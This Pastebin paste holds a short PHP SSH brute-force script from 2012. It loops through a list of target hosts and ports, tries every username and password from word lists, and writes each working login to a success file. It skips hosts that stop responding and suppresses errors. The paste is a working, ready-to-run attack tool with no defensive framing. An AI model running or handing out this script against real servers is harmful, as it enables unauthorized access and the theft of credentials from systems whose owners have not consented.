Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?
- //qbert 2012
- error_reporting(0);
- //$opts = 't:u:p:';
- //$opts = getopt($opts);
- //$target = explode(':',$opts['t']);
- //$server = trim((string)$target[0]);
- //$port = (int)$target[1];
- $quit_after = 3; //consecutive failed connections.This way you won`t waste time on non-responsive/inactive connections.
- function check_server($server,$port,$user,$pass){
- global $status,$strstatus;
- $con = ssh2_connect($server,$port);
- if(!$con){
- print '[*]Connecting to ' . $server . ': Failed | Make sure the server is online.' . "\n";
- $status = 0;
- $strstatus .= '0';
- }
- else{
- print '[*]Connecting to ' . $server . ' : Succes:';
- if(!ssh2_auth_password($con,$user,$pass)){
- print 'bad login' . "\n";
- $status = 1;
- }
- else{
- print 'good login '. "\n";
- $status = 3;
- }
- }
- return $status;
- }
- foreach(file('targets.txt') as $target){
- $strstatus = '';
- $target = explode(':',$target);
- $server = trim((string)$target[0]);
- $port = (int)$target[1];
- foreach(file('users.txt') as $user){
- $user = trim($user);
- foreach(file('passwords.txt') as $pass){
- $pass = trim($pass);
- if(!is_int(strpos($strstatus,'000'))){
- check_server($server,$port,$user,$pass);
- }
- else{
- continue;
- }
- if($status == 3){
- file_put_contents('succes.txt',file_get_contents('succes.txt'). $server . ':' . $port . '=>' . $user . ':' . $pass . "\n");
- }
- unset($status);
- }
- }
- }
- ?>
Add Comment
Please, Sign In to add comment